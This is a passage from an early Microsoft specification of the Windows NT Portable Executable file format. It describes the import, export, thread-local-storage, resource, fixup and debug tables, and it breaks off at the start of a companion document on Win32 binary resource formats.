    ÚÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄ¿
    ³ ASCII STRING ::: ::::::::   '\0'  ³
    ÀÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÙ
```

Figure 7. Export Name Table Entry

ASCII STRING = DB ASCII String.
The string is case sensitive and is terminated by a null byte.

6. Imports

A typical file layout for the import information follows:

```
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³     DIRECTORY TABLE   ³
    ³                       ³
    ³                       ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³    NULL DIR ENTRY     ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   DLL1 LOOKUP TABLE   ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         NULL          ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   DLL2 LOOKUP TABLE   ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         NULL          ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   Dll3 LOOKUP TABLE   ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         NULL          ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³    HINT-NAME TABLE    ³
    ³                       ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   DLL1 ADDRESS TABLE  ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         NULL          ³
```

```
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   DLL2 ADDRESS TABLE  ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         NULL          ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   DLL3 ADDRESS TABLE  ³
    ³                       ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         NULL          ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 8. Import File Layout

6.1 Import Directory Table

The import information begins with the Import Directory Table which
describes the remainder of the import information. The Import
Directory Table contains address information that is used to resolve
fixup references to the entry points within a DLL image. The import
directory table consists of an array of Import Directory Entries, one
entry for each DLL this image references. The last directory entry is
empty (NULL) which indicates the end of the directory table.

An Import Directory Entry has the following format:

```
    ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿
    ³            IMPORT FLAGS           ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³           TIME/DATE STAMP         ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³  MAJOR VERSION  ³   MINOR VERSION ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³              NAME RVA             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³      IMPORT LOOKUP TABLE RVA      ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³      IMPORT ADDRESS TABLE RVA     ³
    ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 9. Import Directory Entry

IMPORT FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the import data was pre-snapped or
zero if not pre-snapped.

MAJOR/MINOR VERSION = DW The major/minor version number of the dll
being referenced.

NAME RVA = DD Relative Virtual Address of the Dll asciiz Name.
This is the address relative to the Image Base.

IMPORT LOOKUP TABLE RVA = DD This field contains the address of the
start of the import lookup table for this image. The address is
relative to the beginning of the Image Base.

IMPORT ADDRESS TABLE RVA = DD This field contains the address of the
start of the import addresses for this image. The address is

relative to the beginning of the Image Base.

6.2 Import Lookup Table

The Import Lookup Table is an array of ordinal or hint/name RVA's for each DLL. The last entry is empty (NULL) which indicates the end of the table.

The last element is empty.

```
     3                                 0
     1
    ÚÄÒÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
    ³0º   ORDINAL#/HINT-NAME TABLE RVA  ³
    ÀÄÐÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 10. Import Address Table Format

ORDINAL/HINT-NAME TABLE RVA = 31-bits (mask = 7fffffffh) Ordinal Number or Name Table RVA.
If the import is by ordinal, this field contains a 31 bit ordinal number. If the import is by name, this field contains a 31 bit address relative to the Image Base to the Hint-Name Table.

O = 1-bit (mask = 80000000h) Import by ordinal flag.

- o 00000000h __Import by name.
- o 80000000h __Import by ordinal.

6.3 Hint-Name Table

The Hint-Name Table format follows:

```
    ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
    ³       HINT      ³ ASCII STRING |||³
    ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
    ³|||||||||||||||||³  '\0'     PAD   ³
    ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

    The PAD field is optional.

Figure 11. Import Hint-Name Table

HINT = DW Hint into Export Name Table Pointers.
The hint value is used to index the Export Name Table Pointers array, allowing faster by-name imports. If the hint is incorrect, then a binary search is performed on the Export Name Ptr Table.

ASCII STRING = DB ASCII String.
The string is case sensitive and is terminated by a null byte.

PAD = DB Zero pad byte.
A trailing zero pad byte appears after the trailing null byte if necessary to align the next entry on an even boundary.

The loader overwrites the import address table when loading the image with the 32-bit address of the import.

6.4 Import Address Table

The Import Address Table is an array of addresses of the imported
routines for each DLL. The last entry is empty (NULL) which indicates
the end of the table.

7. Thread Local Storage

Thread local storage is a special contiguous block of data. Each
thread will gets its own block upon creation of the thread.

The file layout for thread local storage follows:

```
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³     DIRECTORY TABLE   ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³        TLS DATA       ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³      INDEX VARIABLE   ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³   CALLBACK ADDRESSES  ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 12. Thread Local Storage Layout

7.1 Thread Local Storage Directory Table

The Thread Local Storage Directory Table contains address information
that is used to describe the rest of TLS.

The Thread Local Storage Directory Table has the following format:

```
    ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄ¿
    ³       START DATA BLOCK VA        ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³        END DATA BLOCK VA         ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³             INDEX VA             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³         CALLBACK TABLE VA        ³
    ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÙ
```

Figure 13. Thread Local Storage Directory Table

START DATA BLOCK VA = DD Virtual Address of the start of the thread
local storage data block.

END DATA BLOCK VA = DD Virtual Address of the end of the thread local
storage data block.

INDEX VA = DD Virtual Address of the index variable used to access
the thread local storage data block.

CALLBACK TABLE VA = DD Virtual Address of the callback table.

7.2 Thread Local Storage CallBack Table

The Thread Local Storage Callbacks is an array of Virtual Address of
functions to be called by the loader after thread creation and thread
termination. The last entry is empty (NULL) which indicates the end
of the table.

The Thread Local Storage CallBack Table has the following format:

```
    ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
    ³             FUNCTION1 VA            ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³             FUNCTION2 VA            ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³                                     ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³                 NULL                ³
    ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 14. Thread Local Storage CallBack Table

8. Resources

Resources are indexed by a multiple level binary-sorted tree
structure. The overall design can incorporate 2**31 levels, however,
NT uses only three: the highest is TYPE, then NAME, then LANGUAGE.

A typical file layout for the resource information follows:

```
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³  RESOURCE DIRECTORY    ³
    ³                        ³
    ³                        ³
    ³                        ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³     RESOURCE DATA      ³
    ³                        ³
    ³                        ³
    ³                        ³
    ³                        ³
    ³                        ³
    ³                        ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 15. Resource File Layout

The Resource directory is made up of the following tables:

8.1 Resource Directory Table

```
ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
³           RESOURCE FLAGS              ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³           TIME/DATE STAMP             ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  MAJOR VERSION   ³   MINOR VERSION ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³    # NAME ENTRY ³  # ID ENTRY      ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³       RESOURCE DIR ENTRIES            ³
ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 16. Resource Table Entry

RESOURCE FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the resource data was created by the
resource compiler.

MAJOR/MINOR VERSION = DW A user settable major/minor version number.

NAME ENTRY = DW The number of name entries.
This field contains the number of entries at the beginning of the array of directory entries which have actual string names associated with them.

ID ENTRY = DW The number of ID integer entries.
This field contains the number of 32-bit integer IDs as their names in the array of directory entries.

The resource directory is followed by a variable length array of directory entries. # NAME ENTRY is the number of entries at the beginning of the array that have actual names associated with each entry. The entires are in ascending order, case insensitive strings. # ID ENTRY identifies the number of entries that have 32-bit integer IDs as their name. These entries are also sorted in ascending order.

This structure allows fast lookup by either name or number, but for any given resource entry only one form of lookup is supported, not both. This is consistent with the syntax of the .RC file and the .RES file.

The array of directory entries have the following format:

```
 3                                0
 1
ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
³          NAME RVA/INTEGER ID       ³
ÃÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Eº     DATA ENTRY RVA/SUBDIR RVA    ³
ÀÄÐÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 17. Resource Directory Entry

INTERGER ID = DD ID.
This field contains a integer ID field to identify a resource.

NAME RVA = DD Name RVA address.
This field contains a 31-bit address relative to the beginning of the Image Base to a Resource Directory String Entry.

E = 1-bit (mask 80000000h) Unescape bit.
This bit is zero for unescaped Resource Data Entries.

DATA RVA = 31-bits (mask 7fffffffh) Data entry address.
This field contains a 31-bit address relative to the beginning of the Image Base to a Resource Data Entry.

E = 1-bit (mask 80000000h) Escape bit.
This bit is 1 for escaped Subdirectory Entry.

DATA RVA = 31-bits (mask 7fffffffh) Directory entries.
This field contains a 31-bit address relative to the beginning of the Image Base to Subdirectory Entry.

Each resource directory string entry has the following format:

```
ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
```

```
³      LENGTH     ³ UNICODE STRING  ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³                                    ³
ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 18. Resource Directory String Entry

LENGTH = DW Length of string.

UNICODE STRING = DW UNICODE String.

All of these string objects are stored together after the last resource directory entry and before the first resource data object. This minimizes the impact of these variable length objects on the alignment of the fixed size directory entry objects. The length needs to be word aligned.

Each Resource Data Entry has the following format:

```
    ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
    ³               DATA RVA             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³                SIZE                ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³               CODEPAGE             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³               RESERVED             ³
    ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 19. Resource Data Entry

DATA RVA = DD Address of Resource Data.
This field contains 32-bit virtaul address of the resource data (relative to the Image Base).

SIZE = DD Size of Resource Data.
This field contains the size of the resource data for this resource.

CODEPAGE = DD Codepage.

RESERVED = DD Reserved - must be zero.

Each resource data entry describes a leaf node in the resource directory tree. It contains an address which is relative to the beginning of Image Base, a size field that gives the number of bytes of data at that address, a CodePage that should be used when decoding code point values within the resource data. Typically for new applications the code page would be the unicode code page.

8.2 Resource Example

The following is an example for an app. which wants to use the following data as resources:

```
  TypeId#    NameId#   Language ID Resource Data
 00000001    00000001       0        00010001
```

```
 00000001    00000001       1        10010001
 00000001    00000002       0        00010002
 00000001    00000003       0        00010003
 00000002    00000001       0        00020001
 00000002    00000002       0        00020002
 00000002    00000003       0        00020003
 00000002    00000004       0        00020004
 00000009    00000001       0        00090001
 00000009    00000009       0        00090009
 00000009    00000009       1        10090009
 00000009    00000009       2        20090009
```

```
Then the Resource Directory in the Portable format looks like:
Offset         Data
0000:   00000000 00000000 00000000 00030000  (3 entries in this directory)
0010:   00000001 80000028     (TypeId #1, Subdirectory at offset 0x28)
0018:   00000002 80000050     (TypeId #2, Subdirectory at offset 0x50)
0020:   00000009 80000080     (TypeId #9, Subdirectory at offset 0x80)
0028:   00000000 00000000 00000000 00030000  (3 entries in this directory)
0038:   00000001 800000A0     (NameId #1, Subdirectory at offset 0xA0)
0040:   00000002 00000108     (NameId #2, data desc at offset 0x108)
0048:   00000003 00000118     (NameId #3, data desc at offset 0x118)
0050:   00000000 00000000 00000000 00040000  (4 entries in this directory)
0060:   00000001 00000128     (NameId #1, data desc at offset 0x128)
0068:   00000002 00000138     (NameId #2, data desc at offset 0x138)
0070:   00000003 00000148     (NameId #3, data desc at offset 0x148)
0078:   00000004 00000158     (NameId #4, data desc at offset 0x158)
0080:   00000000 00000000 00000000 00020000  (2 entries in this directory)
0090:   00000001 00000168     (NameId #1, data desc at offset 0x168)
0098:   00000009 800000C0     (NameId #9, Subdirectory at offset 0xC0)
00A0:   00000000 00000000 00000000 00020000  (2 entries in this directory)
00B0:   00000000 000000E8     (Language ID 0, data desc at offset 0xE8
00B8:   00000001 000000F8     (Language ID 1, data desc at offset 0xF8
00C0:   00000000 00000000 00000000 00030000  (3 entries in this directory)
00D0:   00000001 00000178     (Language ID 0, data desc at offset 0x178
00D8:   00000001 00000188     (Language ID 1, data desc at offset 0x188
00E0:   00000001 00000198     (Language ID 2, data desc at offset 0x198

00E8:   000001A8  (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
00F8:   000001AC  (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0108:   000001B0  (At offset 0x1B0, for TypeId #1, NameId #2,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0118:   000001B4  (At offset 0x1B4, for TypeId #1, NameId #3,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0128:   000001B8  (At offset 0x1B8, for TypeId #2, NameId #1,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0138:   000001BC  (At offset 0x1BC, for TypeId #2, NameId #2,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0148:   000001C0  (At offset 0x1C0, for TypeId #2, NameId #3,
```

```
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0158:   000001C4  (At offset 0x1C4, for TypeId #2, NameId #4,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0168:   000001C8  (At offset 0x1C8, for TypeId #9, NameId #1,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0178:   000001CC  (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0188:   000001D0  (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0198:   000001D4  (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
```

And the data for the resources will look like:

```
01A8:          00010001
01AC:          10010001
01B0:          00010002
01B4:          00010003
01B8:          00020001
01BC:          00020002
01C0:          00020003
01C4:          00020004
01C8:          00090001
01CC:          00090009
01D0:          10090009
01D4:          20090009
```

9. Fixup Table

The Fixup Table contains entries for all fixups in the image. The Total Fixup Data Size in the PE Header is the number of bytes in the fixup table. The fixup table is broken into blocks of fixups. Each block represents the fixups for a 4K page.

Fixups that are resolved by the linker do not need to be processed by the loader, unless the load image can't be loaded at the Image Base specified in the PE Header.

9.1 Fixup Block

Fixup blocks have the following format:

```
    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ³              PAGE RVA              ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³             BLOCK SIZE             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³   TYPE/OFFSET    ³   TYPE/OFFSET   ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³   TYPE/OFFSET    ³       ...       ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 20. Fixup Block Format

To apply a fixup, a delta needs to be calculated. The 32-bit delta is the difference between the preferred base, and the base where the image is actually loaded. If the image is loaded at its preferred base, the delta would be zero, and thus the fixups would not have to be applied. Each block must start on a DWORD boundary. The ABSOLUTE fixup type can be used to pad a block.

PAGE RVA = DD Page RVA. The image base plus the page rva is added to each offset to create the virtual address of where the fixup needs to be applied.

BLOCK SIZE = DD Number of bytes in the fixup block. This includes the PAGE RVA and SIZE fields.

TYPE/OFFSET is defined as:

```
     1    1          0
     5    1
    ÚÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄ¿
    ³TYPEº   OFFSET   ³
    ÀÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÙ
```
Figure 21. Fixup Record Format

TYPE = 4-bit fixup type. This value has the following definitions:

- 0h __ABSOLUTE. This is a NOP. The fixup is skipped.

- 1h __HIGH. Add the high 16-bits of the delta to the 16-bit field at Offset. The 16-bit field represents the high value of a 32-bit word.

- 2h __LOW. Add the low 16-bits of the delta to the 16-bit field at Offset. The 16-bit field represents the low half value of a 32-bit word. This fixup will only be emitted for a RISC machine when the image Object Align isn't the default of 64K.

- 3h __HIGHLOW. Apply the 32-bit delta to the 32-bit field at Offset.

- 4h __HIGHADJUST. This fixup requires a full 32-bit value. The high 16-bits is located at Offset, and the low 16-bits is located in the next Offset array element (this array element is included in the SIZE field). The two need to be combined into a signed variable. Add the 32-bit delta. Then add 0x8000 and store the high 16-bits of the signed variable to the 16-bit field at Offset.

- 5h __MIPSJMPADDR.

All other values are reserved.

10. Debug Information

The debug information is defined by the debugger and is not controlled by the portable EXE format or linker. The only data defined by the portable EXE format is the Debug Directory Table.

10.1 Debug Directory

The debug directory table consists of one or more entries that have
the following format:

```
    ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
    ³             DEBUG FLAGS             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³            TIME/DATE STAMP          ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³  MAJOR VERSION  ³  MINOR VERSION  ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³              DEBUG TYPE             ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³              DATA SIZE              ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³              DATA RVA               ³
    ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
    ³              DATA SEEK              ³
    ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
```

Figure 22. Debug Directory Entry

DEBUG FLAGS = DD Set to zero for now.

TIME/DATE STAMP = DD Time/Date the debug data was created.

MAJOR/MINOR VERSION = DW Version stamp.
This stamp can be used to determine the version of the debug data.

DEBUG TYPE = DD Format type.
To support multiple debuggers, this field determines the format of
the debug information. This value has the following definitions:

- o 0001h __Image contains COFF symbolics.

- o 0001h __Image contains CodeView symbolics.

- o 0001h __Image contains FPO symbolics.

DATA SIZE = DD The number of bytes in the debug data. This is the
size of the actual debug data and does not include the debug
directory.

DATA RVA = DD The relative virtual address of the debug data. This
address is relative to the beginning of the Image Base.

DATA SEEK = DD The seek value from the beginning of the file to the
debug data.

If the image contains more than one type of debug information, then
the next debug directory will immediately follow the first debug
directory.

Win32 Binary Resource Formats

Author: Floyd Rogers

Preface

This document was edited and released by Microsoft Developer Support. It describes the binary format of resources in Win32. The information is provided at this point because we feel it will make the work of application development easier. Unfortunately, the information in this document may change before the final release of Windows NT. Microsoft is NOT committing to stay with these formats by releasing this document. Questions or follow-ups for any of the information presented here should be posted to CompuServe MSWIN32 forum, section 4.

--Steve Firebaugh
Microsoft Developer Support

1. Overview

This document details the structure of the resource binary file (.res) format for the Windows 32 API (Windows NT 3.1 and Win32s). The structure is similar to the existing Windows 16 (Win 3.0/3.1) structure, but supports essential new features such as UNICODE strings, version headers, and DWORD alignment. To support these changes, the file format written by the resource compiler must be changed from that used by Windows 16.

1.1 Comparison between Windows 3.0/3.1 and Windows 32

The Windows 16 resource file is a file containing one or more binary resources. Each resource is preceded by a variable length structure containing: Type, Name, Flags, Size. The Type and Name fields are either a string identifying the Type or Name, or a WORD value specifying the ordinal identity of the resource. The Flags field specifies to the system how to load into memory the resource, and the size specifies the size in bytes of the resource. The size, therefore, points to the next resource in the file.

The Windows 32 (both NT and Win32s) resource file retains this structure, while expanding the header information with several additional values. It also adds a few fields to some of the pre-defined resources (Menu and Dialog, for instance), aligns all fields within the predefined resources on WORD or DWORD boundaries, and adds UNICODE (16-bit character) support to the data structures.

One additional difference in resource files for Windows 32 is worth noting. This does not directly affect the structure of the resource file, but is rather a difference in how resource files are handled and incorporated into an executable image (dll or exe). Windows NT uses COFF format objects. Because of this, and the fact that the Windows 32 exe format is much different than the Windows 16 format, the SDK provides a utility named CVTRES that converts a resource file into a COFF object. The linker then incorporates this object directly into the resulting executable image. No provision is made (as in Windows 16) for running the second pass of the resource compiler multiple times to update the resources: relinking the image is required.

However, the Windows 32 API provides a set of APIs that allow a program to enumerate all resources within an executable image, and update individual resources in the image.

1.2 Strings in UNICODE

